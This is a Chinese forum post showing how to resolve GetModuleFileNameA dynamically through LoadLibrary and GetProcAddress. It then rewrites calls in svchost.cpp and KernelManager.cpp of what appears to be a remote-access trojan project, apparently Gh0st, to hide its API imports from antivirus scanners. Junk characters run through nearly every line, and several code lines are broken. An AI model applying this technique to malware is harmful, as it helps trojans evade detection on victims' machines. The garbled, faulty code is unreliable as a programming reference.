[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记
: D7 y6 w6 M2 \6 J4 zsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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/ @) q. X' n7 \' Z: G, N# SDTDY.h：
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1 {& m+ G) G- o! `" s  p0 F# j#if _MSC_VER>1000& c) h+ x2 @& h8 k: r4 |
#pragma once6 X- g: L8 z% ~$ }# s- ^
#endif //_MSC_VER>1000
- ]  V- d  W4 v& l1 g1 d& h#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);  C! f+ i  h1 p* n4 T1 z
class DTDY4 H; b+ t- C  b" x, r
{
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% b! A$ z1 w- W4 s$ iDTDY();) b. B- R- B: V# @( W* M+ v
virtual ~DTDY();0 A% E& x2 S+ ]- L$ w# c. g8 Q
public:4 l8 D+ h  J$ v! c. s0 Q
static pGetModuleFileNameA MyGetModuleFileName;+ G; O- J; k" J
static BOOL FunInitiallization();
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#endif" d5 `# ~6 S" q" L! {
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+ `4 }" R# L. M5 C, ]  j: }3 sDTDY.cpp:+ k2 C/ u( v! C
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#include "DTDY.h"
2 A) t9 x; M3 X1 o" ]' GpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;7 E& X0 i6 T5 w, O7 t
DTDY:TDY(), E. C0 ]/ R0 m" q
{
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DTDY::~DTDY()
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}
( G4 j/ }6 I& S$ N% E* oBOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");
% x+ B, g9 ~+ z8 {MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");, O% S3 E  j8 z/ t: ]
if(!MyGetModuleFileName=) return FALSE;- F2 f9 A0 }2 b

; t: ~, E) e* _4 v# `9 oreturn TRUE;
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  u: K  r  a! t8 h) jsvchost.cpp:
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#include "DTDY.h"
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8 s$ v0 |/ ~7 z: \: ^5 BBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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switch(ul_reason_for_call)" k4 X; a, e6 K/ c
{
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if(!DTDY::FunInitiallization()) return FALSE;* `( {: Q' y0 [/ N( V- d, }. K
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break;0 w& ~) ^6 ?% I5 q
}
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7 r, a/ Y( i3 E+ W& `! P& [GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def8 y# `9 S2 v+ g
改写为
1 D4 j/ M. I% n0 V7 GDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));- S) m/ Y( z* Z5 c, @8 g1 s
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3 A& N! a) v  [$ k, L9 kKernelManager.cpp:
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4 F# I+ B- n' M+ _% O  X- O#include "../DTDY.h"
, y" g7 z5 L) B/ M- g6 KGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));+ D& e: Z* ^$ k" s3 F4 F; P, ]+ ~
改写为. D3 J1 J- G( P
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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